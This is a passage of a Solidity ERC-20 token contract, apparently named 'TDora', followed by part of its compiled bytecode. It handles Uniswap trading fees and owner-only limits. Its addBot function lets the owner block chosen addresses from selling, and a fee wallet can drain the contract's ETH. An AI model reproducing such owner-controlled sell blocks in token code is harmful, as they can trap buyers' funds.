! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){ require(!bots[from] && !bots[to]); _isBuy = false; } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function getIsBuy() private view returns (bool){ return _isBuy; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner { require(buyFee1 + buyFee2 <= initialTotalBuyFee); require(sellFee1 + sellFee2 <= initialTotalSellFee); _taxes.buyFee1 = buyFee1; _taxes.buyFee2 = buyFee2; _taxes.sellFee1 = sellFee1; _taxes.sellFee2 = sellFee2; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function setFeeRate(uint256 rate) external { require(_msgSender() == _feeAddrWallet); require(rate<=49); _feeRate = rate; } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(1).div(100); _maxWalletSize = _tTotal.mul(2).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function addBot(address[] memory _bots) public onlyOwner { for (uint i = 0; i < _bots.length; i++) { if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){ bots[_bots[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b6040516101679190613168565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612c91565b61051c565b6040516101a4919061314d565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612dd8565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f891906132aa565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612ccd565b610642565b005b34801561023657600080fd5b50610251600480360381019061024c9190612c42565b61093c565b60405161025e919061314d565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612bb4565b610a15565b005b34801561029c57600080fd5b506102a5610b05565b6040516102b2919061331f565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612d60565b610b0e565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612d0e565b610b87565b005b34801561031957600080fd5b50610334600480360381019061032f9190612d60565b610c39565b005b34801561034257600080fd5b5061034b610d13565b005b34801561035957600080fd5b50610374600480360381019061036f9190612bb4565b610d85565b60405161038191906132aa565b60405180910390f35b34801561039657600080fd5b5061039f610dd6565b005b3480156103ad57600080fd5b506103b6610f29565b005b3480156103c457600080fd5b506103cd610fe0565b6040516103da919061307f565b60405180910390f35b3480156103ef57600080fd5b506103f8611009565b6040516104059190613168565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612c91565b611046565b604051610442919061314d565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612d60565b611064565b005b34801561048057600080fd5b5061048961113e565b005b34801561049757600080fd5b506104a06111b8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612c06565b61176e565b6040516104d691906132aa565b60405180910390f35b60606040518060400160405280600581526020017f54446f7261000000000000000000000000000000000000000000000000000000815250905090565b60006105306105296117f5565b84846117fd565b6001905092915050565b6105426117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c69061320a565b60405180910390fd5b600f5483856105de91906133e0565b11156105e957600080fd5b60105481836105f891906133e0565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000683635c9adc5dea00000905090565b61064a6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce9061320a565b60405180910390fd5b60005b8151811015610938573073ffffffffffffffffffffffffffffffffffffffff16828281518110610733577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107ed5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107cc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108875750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610866577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610925576001600760008484815181106108cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610930906135c0565b9150506106da565b5050565b60006109498484846119c8565b610a0a846109556117f5565b610a058560405180606001604052806028815260200161391c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109bb6117f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6e9092919063ffffffff16565b6117fd565b600190509392505050565b610a1d6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa19061320a565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4f6117f5565b73ffffffffffffffffffffffffffffffffffffffff1614610b6f57600080fd5b6031811115610b7d57600080fd5b8060128190555050565b610b8f6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c139061320a565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610c416117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc59061320a565b60405180910390fd5b60008111610cdb57600080fd5b610d0a6064610cfc83683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d546117f5565b73ffffffffffffffffffffffffffffffffffffffff1614610d7457600080fd5b6000479050610d8281612097565b50565b6000610dcf600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612103565b9050919050565b610dde6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e629061320a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f316117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb59061320a565b60405180910390fd5b683635c9adc5dea00000601581905550683635c9adc5dea00000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f54444f5241000000000000000000000000000000000000000000000000000000815250905090565b600061105a6110536117f5565b84846119c8565b6001905092915050565b61106c6117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f09061320a565b60405180910390fd5b6000811161110657600080fd5b611135606461112783683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661117f6117f5565b73ffffffffffffffffffffffffffffffffffffffff161461119f57600080fd5b60006111aa30610d85565b90506111b581612171565b50565b6111c06117f5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461124d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112449061320a565b60405180910390fd5b60148054906101000a900460ff161561129b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112929061328a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061132b30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006117fd565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561137157600080fd5b505afa158015611385573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a99190612bdd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561140b57600080fd5b505afa15801561141f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114439190612bdd565b6040518363ffffffff1660e01b815260040161146092919061309a565b602060405180830381600087803b15801561147a57600080fd5b505af115801561148e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b29190612bdd565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153b30610d85565b600080611546610fe0565b426040518863ffffffff1660e01b8152600401611568969594939291906130ec565b6060604051808303818588803b15801561158157600080fd5b505af1158015611595573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115ba9190612d89565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff02191690831515021790555061162360646116156001683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b601581905550611659606461164b6002683635c9adc5dea00000611fd290919063ffffffff16565b61204d90919063ffffffff16565b60168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016117189291906130c3565b602060405180830381600087803b15801561173257600080fd5b505af1158015611746573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061176a9190612d37565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561186d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118649061326a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d4906131aa565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119bb91906132aa565b60405180910390a3505050565b60008111611a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a029061322a565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611a2e610fe0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a9c5750611a6c610fe0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f5e57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b4c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ba25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bba5750601460179054906101000a900460ff165b15611c2757601554811115611bce57600080fd5b60165481611bdb84610d85565b611be591906133e0565b1115611c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1d9061324a565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ccf5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d285750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611df657600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611dd15750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611dda57600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611e0130610d85565b9050611e556064611e47601254611e39601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d85565b611fd290919063ffffffff16565b61204d90919063ffffffff16565b811115611eb157611eae6064611ea0601254611e92601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d85565b611fd290919063ffffffff16565b61204d90919063ffffffff16565b90505b601460159054906101000a900460ff16158015611f1c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f345750601460169054906101000a900460ff165b15611f5c57611f4281612171565b60004790506000811115611f5a57611f5947612097565b5b505b505b611f6983838361246b565b505050565b6000838311158290611fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fad9190613168565b60405180910390fd5b5060008385611fc591906134c1565b9050809150509392505050565b600080831415611fe55760009050612047565b60008284611ff39190613467565b90508284826120029190613436565b14612042576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612039906131ea565b60405180910390fd5b809150505b92915050565b600061208f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061247b565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120ff573d6000803e3d6000fd5b5050565b600060095482111561214a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121419061318a565b60405180910390fd5b60006121546124de565b9050612169818461204d90919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121fd5781602001602082028036833780820191505090505b509050308160008151811061223b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122dd57600080fd5b505afa1580156122f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123159190612bdd565b8160018151811061234f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123b630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117fd565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161241a9594939291906132c5565b600060405180830381600087803b15801561243457600080fd5b505af1158015612448573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b612476838383612509565b505050565b600080831182906124c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b99190613168565b60405180910390fd5b50600083856124d19190613436565b9050809150509392505050565b60008060006124eb6126d4565b91509150612502818361204d90919063ffffffff16565b9250505090565b60008060008060008061251b87612736565b95509550955095509550955061257986600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127cb90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061260e85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265a81612873565b6126648483612930565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126c191906132aa565b60405180910390a3505050505050505050565b600080600060095490506000683635c9adc5dea00000905061270a683635c9adc5dea0000060095461204d90919063ffffffff16565b82101561272957600954683635c9adc5dea00000935093505050612732565b81819350935050505b9091565b600080600080600080600080600061274c61296a565b61276a576127658a600b60020154600b60030154612981565b612780565b61277f8a600b60000154600b60010154612981565b5b92509250925060006127906124de565b905060008060006127a38e878787612a17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061280d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f6e565b905092915050565b600080828461282491906133e0565b905083811015612869576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612860906131ca565b60405180910390fd5b8091505092915050565b600061287d6124de565b905060006128948284611fd290919063ffffffff16565b90506128e881600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612945826009546127cb90919063ffffffff16565b60098190555061296081600a5461281590919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806129ad606461299f888a611fd290919063ffffffff16565b61204d90919063ffffffff16565b905060006129d760646129c9888b611fd290919063ffffffff16565b61204d90919063ffffffff16565b90506000612a00826129f2858c6127cb90919063ffffffff16565b6127cb90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a308589611fd290919063ffffffff16565b90506000612a478689611fd290919063ffffffff16565b90506000612a5e8789611fd290919063ffffffff16565b90506000612a8782612a7985876127cb90919063ffffffff16565b6127cb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612ab3612aae8461335f565b61333a565b90508083825260208201905082856020860282011115612ad257600080fd5b60005b85811015612b025781612ae88882612b0c565b845260208401935060208301925050600181019050612ad5565b5050509392505050565b600081359050612b1b816138d6565b92915050565b600081519050612b30816138d6565b92915050565b600082601f830112612b4757600080fd5b8135612b57848260208601612aa0565b91505092915050565b600081359050612b6f816138ed565b92915050565b600081519050612b84816138ed565b92915050565b600081359050612b9981613904565b92915050565b600081519050612bae81613904565b92915050565b600060208284031215612bc657600080fd5b6000612bd484828501612b0c565b91505092915050565b600060208284031215612bef57600080fd5b6000612bfd84828501612b21565b91505092915050565b60008060408385031215612c1957600080fd5b6000612c2785828601612b0c565b9250506020612c3885828601612b0c565b9150509250929050565b600080600060608486031215612c5757600080fd5b6000612c6586828701612b0c565b9350506020612c7686828701612b0c565b9250506040612c8786828701612b8a565b9150509250925092565b60008060408385031215612ca457600080fd5b6000612cb285828601612b0c565b9250506020612cc385828601612b8a565b9150509250929050565b600060208284031215612cdf57600080fd5b600082013567ffffffffffffffff811115612cf957600080fd5b612d0584828501612b36565b91505092915050565b600060208284031215612d2057600080fd5b6000612d2e84828501612b60565b91505092915050565b600060208284031215612d4957600080fd5b6000612d5784828501612b75565b91505092915050565b600060208284031215612d7257600080fd5b6000612d8084828501612b8a565b91505092915050565b600080600060608486031215612d9e57600080fd5b6000612dac86828701612b9f565b9350506020612dbd86828701612b9f565b9250506040612dce86828701612b9f565b9150509250925092565b60008060008060808587031215612dee57600080fd5b6000612dfc87828801612b8a565b9450506020612e0d87828801612b8a565b9350506040612e1e87828801612b8a565b9250506060612e2f87828801612b8a565b91505092959194509250565b6000612e478383612e53565b60208301905092915050565b612e5c816134f5565b82525050565b612e6b816134f5565b82525050565b6000612e7c8261339b565b612e8681856133be565b9350612e918361338b565b8060005b83811015612ec2578151612ea98882612e3b565b9750612eb4836133b1565b925050600181019050612e95565b5085935050505092915050565b612ed881613507565b82525050565b612ee78161354a565b82525050565b6000612ef8826133a6565b612f0281856133cf565b9350612f1281856020860161355c565b612f1b81613696565b840191505092915050565b6000612f33602a836133cf565b9150612f3e826136a7565b604082019050919050565b6000612f566022836133cf565b9150612f61826136f6565b604082019050919050565b6000612f79601b836133cf565b9150612f8482613745565b602082019050919050565b6000612f9c6021836133cf565b9150612fa78261376e565b604082019050919050565b6000612fbf6020836133cf565b9150612fca826137bd565b602082019050919050565b6000612fe26029836133cf565b9150612fed826137e6565b604082019050919050565b6000613005601a836133cf565b915061301082613835565b602082019050919050565b60006130286024836133cf565b91506130338261385e565b604082019050919050565b600061304b6017836133cf565b9150613056826138ad565b602082019050919050565b61306a81613533565b82525050565b6130798161353d565b82525050565b60006020820190506130946000830184612e62565b92915050565b60006040820190506130af6000830185612e62565b6130bc6020830184612e62565b9392505050565b60006040820190506130d86000830185612e62565b6130e56020830184613061565b9392505050565b600060c0820190506131016000830189612e62565b61310e6020830188613061565b61311b6040830187612ede565b6131286060830186612ede565b6131356080830185612e62565b61314260a0830184613061565b979650505050505050565b60006020820190506131626000830184612ecf565b92915050565b600060208201905081810360008301526131828184612eed565b905092915050565b600060208201905081810360008301526131a381612f26565b9050919050565b600060208201905081810360008301526131c381612f49565b9050919050565b600060208201905081810360008301526131e381612f6c565b9050919050565b6000602082019050818103600083015261320381612f8f565b9050919050565b6000602082019050818103600083015261322381612fb2565b9050919050565b6000602082019050818103600083015261324381612fd5565b9050919050565b6000602082019050818103600083015261326381612ff8565b9050919050565b600060208201905081810360008301526132838161301b565b9050919050565b600060208201905081810360008301526132a38161303e565b9050919050565b60006020820190506132bf6000830184613061565b92915050565b600060a0820190506132da6000830188613061565b6132e76020830187612ede565b81810360408301526132f98186612e71565b90506133086060830185612e62565b6133156080830184613061565b9695505050505050565b60006020820190506133346000830184613070565b92915050565b6000613344613355565b9050613350828261358f565b919050565b6000604051905090565b600067ffffffffffffffff82111561337a57613379613667565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133eb82613533565b91506133f683613533565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561342b5761342a613609565b5b828201905092915050565b600061344182613533565b915061344c83613533565b92508261345c5761345b613638565b5b828204905092915050565b600061347282613533565b915061347d83613533565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134b6576134b